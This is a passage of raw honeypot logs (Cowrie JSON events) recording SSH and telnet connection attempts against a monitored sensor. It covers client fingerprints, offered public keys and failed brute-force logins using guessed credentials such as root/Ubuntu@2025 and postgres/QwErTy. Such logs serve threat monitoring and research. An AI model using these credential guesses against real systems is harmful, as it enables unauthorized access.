d5:82:a0:ae:65:47:cb:2d:63:a4:27:d1:73:97:de:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:27:34.220664Z","src_ip":"209.90.232.71","session":"afc347f2a46f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:82:a0:ae:65:47:cb:2d:63:a4:27:d1:73:97:de:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDC0wHgsjGB7zyfJXQbxuH582isjRs2Nx414ZOkjtx13mL/qc80a7W9yTncGS18L2PCMgow4teo95zbl/K4rZ/nXOPLh5eX34HSVXcMuNUdkcxZVxzfYLYPJXRHnFzcV3aHkJlvTW4GbxPKKIG32TftNBptePDeLG0aWYFcOa1P5uT6BC7shFmX9JM0Z1McEgtC/JuAh41r40M/L+MvxMq/G2vy+FJoS/0Br1lWpRju5Mw6Ddb3W3c7gX2Aaiak5Zm5PXKOO9GTN6jrFn0UxDwB/dHpdHvTdo+Ni1E6yV5R3raUMVvDpOLjpbZnUNrGQZsCEp/cdwp/MzD/3+pdWNSZflLKCK+PaEZ6cPw51pNcIiea0Z0r5wrb6AwUWRkWTaYHhoypoitlJyN3TlE0K6G7UHk/dADY7Lm4ZxlpTvxVPUvUEyWHnfBUI6xJHFcbtQb8P+8JvoIynvzNQJ3o550k1SO2SmMnxl/J307pYCLzVIcLN4ocUynsCXDE36l+qPEH8jD3DqtBkQFoTAosUj9eAbru3uVP7tIBrQqA1969t1a0XyN0aQY4kSgqxAkV6T/wmWQKt6lRHlRX5WVbo+VhxZ8b1fRgr1CcmYsprVrcDgPzh0IHuA056Ow9G/esmGJa1Y+KCJJVKkokHlQTyrzl932lCWGMiWr2Xtc41S1SRQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:27:34.224239Z","src_ip":"209.90.232.71","session":"afc347f2a46f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:d4:be:3f:33:0c:b0:2e:1f:51:cc:03:68:1d:e8:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCgjanh+7TCrMUJ4XHMqvIRPna1rZpSVgv+LnKWHXyJUBHMWi5IPP2hbk6Nmn6Wm7H1xeeglvsF2g9mfRnxtTlTfDbw36mcWwbKvcxJIi0QRJZPXsXUoFqgqexwrJe2hVlzzxMtwjexlRIjLKeMnB4SOWMbxOSOq20jOmqdFRHQIy4uV36O+grR4y5BhEfeIAqk4kMKkYoPr7I55i6JYZ0p3UfpylEAoFAxnXbMtRuTTj0zp7Ct06XQrDW1JHNnmwvBWztdP85bBIXgw3NrdgHccChzXiaxq/9ZUEmD8w/aRUpRjzHpdsVmOWEdF2fn1VGeoWzWJwAhVbaDroKZy+x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:d4:be:3f:33:0c:b0:2e:1f:51:cc:03:68:1d:e8:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:27:34.326190Z","src_ip":"209.90.232.71","session":"afc347f2a46f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:d4:be:3f:33:0c:b0:2e:1f:51:cc:03:68:1d:e8:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCgjanh+7TCrMUJ4XHMqvIRPna1rZpSVgv+LnKWHXyJUBHMWi5IPP2hbk6Nmn6Wm7H1xeeglvsF2g9mfRnxtTlTfDbw36mcWwbKvcxJIi0QRJZPXsXUoFqgqexwrJe2hVlzzxMtwjexlRIjLKeMnB4SOWMbxOSOq20jOmqdFRHQIy4uV36O+grR4y5BhEfeIAqk4kMKkYoPr7I55i6JYZ0p3UfpylEAoFAxnXbMtRuTTj0zp7Ct06XQrDW1JHNnmwvBWztdP85bBIXgw3NrdgHccChzXiaxq/9ZUEmD8w/aRUpRjzHpdsVmOWEdF2fn1VGeoWzWJwAhVbaDroKZy+x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:27:34.329592Z","src_ip":"209.90.232.71","session":"afc347f2a46f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:e0:ae:84:31:32:8f:2d:97:cd:43:9d:f9:18:5c:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfBCyz1BB0eQ8CbOu6leHjRawCtoSGaG8BHlqm1TbFmOfypwZnCF2YP7agoz1jPcR8PnQxFAOfNRLQuDae9mIgvKjG37zOTCJmCaAwblWq7bmMooSOf75nQD0V/sM98jq9CTeuT+m8L2uZt6ZwzPwOQ6v9gbXr8GRIHF2ym4fUtztGONy9XkMu0+cKZZjwLTN4WRWw+VXt7T+RkP6sfVcJspzaN/AOxohAEospsflwUfnrV4Ffe+UC+GhAv/UcE2GUs+KWuj7bmBrGwHduzm8+kHjv2vwTpIvbSYId8k3kUR+RShLW8x03UYoxcE5rlxoSFFuRKjkWAEPTWPkPidv5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:e0:ae:84:31:32:8f:2d:97:cd:43:9d:f9:18:5c:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:27:34.422826Z","src_ip":"209.90.232.71","session":"afc347f2a46f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:e0:ae:84:31:32:8f:2d:97:cd:43:9d:f9:18:5c:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfBCyz1BB0eQ8CbOu6leHjRawCtoSGaG8BHlqm1TbFmOfypwZnCF2YP7agoz1jPcR8PnQxFAOfNRLQuDae9mIgvKjG37zOTCJmCaAwblWq7bmMooSOf75nQD0V/sM98jq9CTeuT+m8L2uZt6ZwzPwOQ6v9gbXr8GRIHF2ym4fUtztGONy9XkMu0+cKZZjwLTN4WRWw+VXt7T+RkP6sfVcJspzaN/AOxohAEospsflwUfnrV4Ffe+UC+GhAv/UcE2GUs+KWuj7bmBrGwHduzm8+kHjv2vwTpIvbSYId8k3kUR+RShLW8x03UYoxcE5rlxoSFFuRKjkWAEPTWPkPidv5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:27:34.426389Z","src_ip":"209.90.232.71","session":"afc347f2a46f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:27:34.517390Z","src_ip":"209.90.232.71","session":"afc347f2a46f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00383687019348,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:27:37.086928Z","src_ip":"212.55.149.117","session":"52975f10f88d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":42707,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba6e4ec43a87","protocol":"telnet","message":"New connection: 212.55.149.117:42707 (10.17.0.5:23) [session: ba6e4ec43a87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:27:42.430136Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.183.192","src_port":56806,"dst_ip":"10.17.0.5","dst_port":23,"session":"83821ed2130e","protocol":"telnet","message":"New connection: 103.153.183.192:56806 (10.17.0.5:23) [session: 83821ed2130e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:28:13.595881Z"}
{"eventid":"cowrie.session.closed","duration":0.0052032470703125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:28:13.600930Z","src_ip":"103.153.183.192","session":"83821ed2130e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":39982,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b5aa63f4076","protocol":"ssh","message":"New connection: 103.15.226.202:39982 (10.17.0.5:22) [session: 5b5aa63f4076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:28:21.433496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:28:21.438004Z","src_ip":"103.15.226.202","session":"5b5aa63f4076","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:28:21.683711Z","src_ip":"103.15.226.202","session":"5b5aa63f4076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ubuntu@2025","message":"login attempt [root/Ubuntu@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:28:22.421646Z","src_ip":"103.15.226.202","session":"5b5aa63f4076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:28:23.670637Z","src_ip":"103.15.226.202","session":"5b5aa63f4076","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.247.137.11","src_port":52767,"dst_ip":"159.203.135.109","dst_port":22,"session":"49a0e3d235c0","protocol":"ssh","message":"New connection: 185.247.137.11:52767 (159.203.135.109:22) [session: 49a0e3d235c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:28:28.071449Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.117.96.194","src_port":20317,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7ea58252830","protocol":"telnet","message":"New connection: 85.117.96.194:20317 (10.17.0.5:23) [session: b7ea58252830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:28:28.266742Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:28:30.071608Z","src_ip":"185.247.137.11","session":"49a0e3d235c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.247.137.11","src_port":33855,"dst_ip":"159.203.135.109","dst_port":22,"session":"4534a5f6c9fd","protocol":"ssh","message":"New connection: 185.247.137.11:33855 (159.203.135.109:22) [session: 4534a5f6c9fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:28:30.137496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:28:30.145867Z","src_ip":"185.247.137.11","session":"4534a5f6c9fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:28:30.216563Z","src_ip":"185.247.137.11","session":"4534a5f6c9fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:28:30.290877Z","src_ip":"185.247.137.11","session":"4534a5f6c9fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":43114,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1e6dfc75334","protocol":"telnet","message":"New connection: 212.55.149.117:43114 (10.17.0.5:23) [session: a1e6dfc75334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:28:36.978877Z"}
{"eventid":"cowrie.session.closed","duration":13.059542179107666,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:28:41.326165Z","src_ip":"85.117.96.194","session":"b7ea58252830","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":41392,"dst_ip":"159.203.135.109","dst_port":22,"session":"083831b8eaed","protocol":"ssh","message":"New connection: 2.57.122.208:41392 (159.203.135.109:22) [session: 083831b8eaed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:28:53.349142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:28:53.719761Z","src_ip":"2.57.122.208","session":"083831b8eaed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:28:53.724952Z","src_ip":"2.57.122.208","session":"083831b8eaed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:28:55.321666Z","src_ip":"2.57.122.208","session":"083831b8eaed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:28:56.566525Z","src_ip":"2.57.122.208","session":"083831b8eaed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.44563317298889,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:29:39.424346Z","src_ip":"212.55.149.117","session":"a1e6dfc75334","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00404644012451,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:29:42.434075Z","src_ip":"212.55.149.117","session":"ba6e4ec43a87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":48942,"dst_ip":"10.17.0.5","dst_port":22,"session":"337e729d08de","protocol":"ssh","message":"New connection: 57.128.223.80:48942 (10.17.0.5:22) [session: 337e729d08de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:29:49.078398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:29:49.177214Z","src_ip":"57.128.223.80","session":"337e729d08de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:29:49.283129Z","src_ip":"57.128.223.80","session":"337e729d08de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123321123321","message":"login attempt [postgres/123321123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:29:49.796294Z","src_ip":"57.128.223.80","session":"337e729d08de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:29:50.908587Z","src_ip":"57.128.223.80","session":"337e729d08de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.247.93.242","src_port":35662,"dst_ip":"10.17.0.5","dst_port":23,"session":"687097e8be09","protocol":"telnet","message":"New connection: 122.247.93.242:35662 (10.17.0.5:23) [session: 687097e8be09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:30:19.782592Z"}
{"eventid":"cowrie.session.closed","duration":13.316895484924316,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:30:33.099368Z","src_ip":"122.247.93.242","session":"687097e8be09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":39606,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e7e12f3a69f","protocol":"ssh","message":"New connection: 190.181.25.210:39606 (10.17.0.5:22) [session: 2e7e12f3a69f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:31:50.597527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:31:50.602710Z","src_ip":"190.181.25.210","session":"2e7e12f3a69f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:31:50.728179Z","src_ip":"190.181.25.210","session":"2e7e12f3a69f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"QwErTy","message":"login attempt [postgres/QwErTy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:31:51.246705Z","src_ip":"190.181.25.210","session":"2e7e12f3a69f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:31:52.372711Z","src_ip":"190.181.25.210","session":"2e7e12f3a69f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":45014,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca939a5fc836","protocol":"ssh","message":"New connection: 103.15.226.202:45014 (10.17.0.5:22) [session: ca939a5fc836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:31:57.328097Z"}
